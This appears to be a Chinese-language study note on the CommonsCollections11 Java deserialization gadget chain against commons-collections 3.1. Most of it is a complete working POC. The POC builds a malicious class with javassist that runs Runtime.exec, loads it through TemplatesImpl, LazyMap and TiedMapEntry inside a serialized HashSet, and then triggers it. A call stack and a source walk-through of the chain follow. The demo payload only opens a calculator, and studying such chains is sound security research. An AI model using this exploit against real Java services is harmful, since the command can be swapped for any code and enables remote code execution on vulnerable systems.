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Java反序列化修炼计划 CommonsCollections11

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CC2+CC6。

影响版本

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<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

POC

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import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC11 {
    public static void main(String[] args) throws Exception {
        // 字节码
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        // CC2 _tfactory成员变量会在反序列化调用构造方法时自动创建赋值
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][] {classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        InvokerTransformer transformer = new InvokerTransformer(null, null, null);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        HashSet hashSet = new HashSet(1);
        hashSet.add(2);

        Field hashSetField = getField(HashSet.class, "map");
        HashMap hashSetMap = (HashMap) hashSetField.get(hashSet);

        Field hashMapField = getField(HashMap.class, "table");
        Object[] array = (Object[]) hashMapField.get(hashSetMap);

        Object node = array[0];
        if (node == null) {
            node = array[1];
        }

        setFieldValue(node, "key", tiedMapEntry);
        setFieldValue(transformer, "iMethodName", "newTransformer");

        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC11"));
            outputStream.writeObject(hashSet);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC11"));
            inputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value)
            throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

调用栈

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exec:347, Runtime (java.lang)
<clinit>:-1, EvilCat315687595542584
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readObject:334, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:88, CC11

分析

HashSet#readObject转HashMap#put，e为TiedMapEntry。

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private void writeObject(java.io.ObjectOutputStream s)
    throws java.io.IOException {
    // ...
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

因此HashMap#put转TiedMapEntry#hashCode。

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public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

TiedMapEntry#hashCode到TiedMapEntry#getValue。

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public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}

TiedMapEntry#getValue继续转LazyMap#get，key为TemplatesImpl。

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public Object getValue() {
    return map.get(key);
}

map长度为0，进入if到触发InvokerTransformer#transform。

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public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

后面照旧，同样，在最后进行反射赋值操作是防止在生成POC的时候put操作在本地触发恶意字节码。

Refer

CommonsCollections11 分析